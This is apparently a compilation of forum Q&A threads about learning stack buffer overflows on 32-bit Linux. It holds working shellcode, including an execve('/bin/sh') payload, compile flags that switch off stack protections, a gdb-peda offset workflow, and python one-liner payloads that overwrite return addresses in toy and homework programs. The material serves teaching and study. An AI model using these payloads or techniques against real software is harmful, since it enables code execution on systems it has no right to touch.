I'm trying to execute this simple opcode for exit(0) call by overwriting the return address of main.
The problem is I'm getting segmentation fault.
#include <stdio.h>
char shellcode[]= "/0xbb/0x14/0x00/0x00/0x00"
"/0xb8/0x01/0x00/0x00/0x00"
"/0xcd/0x80";
void main()
{
int *ret;
ret = (int *)&ret + 2; // +2 to get to the return address on the stack
(*ret) = (int)shellcode;
}
Execution result in Segmentation error.
[user1#fedo BOF]$ gcc -o ExitShellCode ExitShellCode.c
[user1#fedo BOF]$ ./ExitShellCode
Segmentation fault (core dumped)
This is the Objdump of the shellcode.a
[user1#fedo BOF]$ objdump -d exitShellcodeaAss
exitShellcodeaAss: file format elf32-i386
Disassembly of section .text:
08048054 <_start>:
8048054: bb 14 00 00 00 mov $0x14,%ebx
8048059: b8 01 00 00 00 mov $0x1,%eax
804805e: cd 80 int $0x80
System I'm using
fedora Linux 3.1.2-1.fc16.i686
ASLR is disabled.
Debugging with GDB.
gcc version 4.6.2
mmm maybe it is to late to answer to this question, but they might be a passive syntax error. It seems like thet shellcode is malformed, I mean:
char shellcode[]= "/0xbb/0x14/0x00/0x00/0x00"
"/0xb8/0x01/0x00/0x00/0x00"
"/0xcd/0x80";
its not the same as:
char shellcode[]= "\xbb\x14\x00\x00\x00"
"\xb8\x01\x00\x00\x00"
"\xcd\x80";
although this fix won't help you solving this problem, but have you tried disabling some kernel protection mechanism like: NX bit, Stack Randomization, etc... ?
Based on two other questions, namely How to determine return address on stack? and C: return address of function (mac), i'm confident that you are not overwriting the correct address. This is basically caused due to your assumption, that the return address can be determined in the way you did it. But as the answer to thefirst question (1) states, this must not be the case.
Therefore:
Check if the address is really correct
Find a way for determining the correct return address, if you do not want to use the builtin GCC feature
You can also execute shellcode like in this scenario, by casting the buffer to a function like
(*(int(*)()) shellcode)();
If you want the shellcode be executed in the stack you must compile without NX (stack protector) and with correct permissions.
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
E.g.
#include <stdio.h>
#include <string.h>
const char code[] ="\xbb\x14\x00\x00\x00"
"\xb8\x01\x00\x00\x00"
"\xcd\x80";
int main()
{
printf("Length: %d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
If you want to debug it with gdb:
[manu#debian /tmp]$ gdb ./shellcode
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
...
Reading symbols from ./shellcode...(no debugging symbols found)...done.
(gdb) b *&code
Breakpoint 1 at 0x4005c4
(gdb) r
Starting program: /tmp/shellcode
Length: 2 bytes
Breakpoint 1, 0x00000000004005c4 in code ()
(gdb) disassemble
Dump of assembler code for function code:
=> 0x00000000004005c4 <+0>: mov $0x14,%ebx
0x00000000004005c9 <+5>: mov $0x1,%eax
0x00000000004005ce <+10>: int $0x80
0x00000000004005d0 <+12>: add %cl,0x6e(%rbp,%riz,2)
End of assembler dump.
In this proof of concept example is not important the null bytes. But when you are developing shellcodes you should keep in mind and remove the bad characters.
Shellcode cannot have Zeros on it. Remove the null characters.
Related
I have a homework assignment to exploit a buffer overflow in the given program.
#include <stdio.h>
#include <stdlib.h>
int oopsIGotToTheBadFunction(void)
{
printf("Gotcha!\n");
exit(0);
}
int goodFunctionUserInput(void)
{
char buf[12];
gets(buf);
return(1);
}
int main(void)
{
goodFunctionUserInput();
printf("Overflow failed\n");
return(1);
}
The professor wants us to exploit the input gets(). We are not suppose to modify the code in any way, only create a malicious input that will create a buffer overflow. I've looked online but I am not sure how to go about doing this. I'm using gcc version 5.2.0 and Windows 10 version 1703. Any tips would be great!
Update:
I have looked up some tutorials and at least found the address for the hidden function I am trying to overflow into, but I am now stuck. I have been trying to run these commands:
gcc -g -o vuln -fno-stack-protector -m32 homework5.c
gdb ./vuln
disas main
break *0x00010880
run $(python -c "print('A'*256)")
x/200xb $esp
With that last command, it comes up saying "Value can't be converted to integer." I tried replacing esp to rsp because I am on a 64-bit but that came up with the same result. Is there a work around to this or another way to find the address of buf?
Since buf is pointing to an array of characters that are of length 12, inputing anything with a length greater than 12 should result in buffer overflow.
First, you need to find the offset to overwrite the Instruction pointer register (EIP).
Use gdb + peda is very useful:
$ gdb ./bof
...
gdb-peda$ pattern create 100 input
Writing pattern of 100 chars to filename "input"
...
gdb-peda$ r < input
Starting program: /tmp/bof < input
...
=> 0x4005c8 <goodFunctionUserInput+26>: ret
0x4005c9 <main>: push rbp
0x4005ca <main+1>: mov rbp,rsp
0x4005cd <main+4>: call 0x4005ae <goodFunctionUserInput>
0x4005d2 <main+9>: mov edi,0x40067c
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe288 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffe290 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffe298 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffe2a0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffe2a8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffe2b0 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffe2b8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0056| 0x7fffffffe2c0 ("AJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005c8 in goodFunctionUserInput ()
gdb-peda$ patts
Registers contain pattern buffer:
R8+0 found at offset: 92
R9+0 found at offset: 56
RBP+0 found at offset: 16
Registers point to pattern buffer:
[RSP] --> offset 24 - size ~76
[RSI] --> offset 0 - size ~100
....
Now, you can overwrite the EIP register, the offset is 24 bytes. As in your homework just need print the "Gotcha!\n" string. Just jump to oopsIGotToTheBadFunction function.
Get the function address:
$ readelf -s bof
...
50: 0000000000400596 24 FUNC GLOBAL DEFAULT 13 oopsIGotToTheBadFunction
...
Make the exploit and got the results:
[manu#debian /tmp]$ python -c 'print "A"*24+"\x96\x05\x40\x00\x00\x00\x00\x00"' > input
[manu#debian /tmp]$ ./bof < input
Gotcha!
Given this C program:
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[1024];
strcpy(buf, argv[1]);
}
Built with:
gcc -m32 -z execstack prog.c -o prog
Given shell code:
EGG=$(printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/df')
The program is exploitable with the commands:
./prog $EGG$(python -c 'print "A" * 991 + "\x87\x83\x04\x08"')
./prog $EGG$(python -c 'print "A" * 991 + "\x0f\x84\x04\x08"')
where I got the addresses from:
$ objdump -d prog | grep call.*eax
8048387: ff d0 call *%eax
804840f: ff d0 call *%eax
I understand the meaning of the AAAA paddings in the middle, I calculated the 991 based on the length of buf in the program and the length of $EGG.
What I don't understand is why any of these addresses with call *%eax trigger the execution of the shellcode copied to the beginning of buf. As far as I understand, I'm overwriting the return address with 0x8048387 (or the other one), what I don't understand is why this leads to jumping to the shellcode.
I got this far by reading Smashing the stack for fun and profit. But the article uses a different approach of guessing a relative address to jump to the shellcode. I'm puzzled by why this more simple, alternative solution works, straight without guesswork.
The return value of strcpy is the destination (buf in this case) and that's passed using register eax. Thus if nothing destroys eax until main returns, eax will hold a pointer to your shell code.
Hi I am learning about Buffer Overflow. For better understanding I wrote one small code to check what is happening, but i did not find anything wrong.
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
And Output :
[krishna]$ gcc -o testsc testsc.c
[krishna]$ ./testsc
$ exit
[krishna]$
Why it is exit? Any other way I can check what happening inside when my program is executing.
What else I can try if my approach is not good enough?
Assigning a pointer isn't the same as copying a buffer. You probably meant:
memcpy(ret, shellcode, sizeof(shellcode));
However this isn't a buffer overflow either. In this case you will attempt to write to the readonly code pages of the program, so you will get an signal or system exception of some type.
I know this doesn't answer the question but it lets you know what the shellcode does
Your best bet would be to run test program in a disassembler like ollydbg or IDA PRO and breakpoint line by line to see what it does exactly.
I used ConvertShellcode 2.0 which shows the shellcode as assembly and here is what it looks like
Download link to ConvertShellcode.exe http://www.mediafire.com/?rnnqjdyv0nbency
Usage.
ConvertShellcode.exe \xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3
ConvertShellcode 2.0
Copyright (C) 2009 Alain Rioux. All rights reserved.
Assembly language source code :
***************************************
00000000 jmp 0x2c
00000002 pop esi
00000003 mov dword[esi+0x8],esi
00000006 mov byte[esi+0x7],0x0
0000000a mov dword[esi+0xc],0x0
00000011 mov eax,0xb
00000016 mov ebx,esi
00000018 lea ecx,[esi+0x8]
0000001b lea edx,[esi+0xc]
0000001e int 0x80
00000020 mov eax,0x1
00000025 mov ebx,0x0
0000002a int 0x80
0000002c call 0x2
00000031 das
00000032 bound ebp,qword[ecx+0x6e]
00000035 das
00000036 jae 0xa0
You can use gdb for debugging and understanding what is happening inside.
gcc -g -o testsc testsc.c
gdb testsc
(gdb)break main
(gdb)print ret
(gdb)print *ret
and go step by step through the code.
Meanwhile you can view the disassembled code by using readelf/objdump
In another terminal,
objdump -xsd testsc
And use the convert shell code as mentioned by SSpoke to see what the shell code will look like in assembly.
Also have a look at assembler code by using
gcc -S testsc.c
Why it is exit?
sh prints exit if input is at EOF, for example when Ctrl D has been pressed; if you didn't do that, there must be some other reason for the EOF.
Any other way I can check what happening inside when my program is
executing.
Since your program has already successfully executed /bin/sh, I see no point in checking inside your program with a debugger. I'd look at the output of strace testsc (that also traces the shell); near the end we should see a read call which is supposed to get command line input for sh; perhaps from the returned value and error number we can deduce the reason for the EOF, or we could see where the used file descriptor comes from.
By the way, your program compiled with gcc 2.95.3 (x86) works without sh exiting immediately.
buffer overflow?
char a[8];
strcpy(a, "0123456789");
I have a small (and vulnerable) C sample:
#include <unistd.h>
int main(int argc, char *argv[])
{
char buff[100];
if(argc < 2)
{
printf("Syntax: %s <input string>\n", argv[0]);
exit (0);
}
strcpy(buff, argv[1]);
return 0;
}
I compiled it with:
gcc -o basic_overflow basic_overflow.c -fno-stack-protector -fno-builtin
When I open this program with gdb, disassembly looks like this:
Dump of assembler code for function main:
0x08048424 <+0>: push ebp
0x08048425 <+1>: mov ebp,esp
0x08048427 <+3>: and esp,0xfffffff0
0x0804842a <+6>: add esp,0xffffff80
...
Setting a breakpoint in main (after the prologue). Since we have a local buffer I would expect my stackframe to be 100 bytes in size. However when I do $ebp-$esp, I can see that the result is actually 136.
Plattform: Linux user-VirtualBox 2.6.38-8-generic #42-Ubuntu SMP Mon Apr 11 03:31:50 UTC 2011 i686 i686 i386 GNU/Linux
Compiler: gcc (Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2
Debugger: GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
What did I get wrong?
It's not just the size of the local variables - generally speaking there is the padding to the size specified by the platform ABI, clobbered registers, alloca() area... - check for example this nice picture
The buffer address is so hard to get. I also have this question. There is a good article teaching you how to smash the stack.
But in my computer,ubuntu 12.04 ,gcc 4.6 or 4.4.7,I have test the latest eggshell.c,and the result is core dump.
He puts the shellcode in environment vars.But It's had to find the environment vars address.I also find smash the stack sometimes doesn't have effect.Any one can help make it run??
I have very simple C program:
int foobar(int a)
{
int b = a;
}
int main(int argc, char *argv[])
{
foobar(0xDEAD);
return 0;
}
Using objdump -d main.out I got disassembled binary with a lot of assembler instructions:
4004a3: 55 push %ebp
4004a4: 48 89 e5 mov %esp,%ebp
4004a7: 48 83 ec 10 sub $0x10,%esp
How can I find for example address of every push instruction from another C program?
Can it be done this way?:
position = 0;
while (...)
{
...
int act_value;
read(binary_file, &act_value, 4);
if (act_value == /*what value?*/)
{
printf("Instruction: push\n");
printf("Address: %X\n", position * 4); /* is this correct?*/
}
position++;
...
}
As Oli Charlesworth already pointed out, instructions are of variable length on the x86 architecture. You can still write a program to do this for you, but you'll need to parse all the instructions to properly know how long they are and where the next one starts.
I don't understand why you want to write your own program to solve the problem, or is there something you're not telling us? Are you only looking for a way to find the addresses of the push instructions? If so, just do this:
objdump -d another_c_program | grep push
Of course, this will also find pushl and so on. I guess you want them too, otherwise the command can be modified.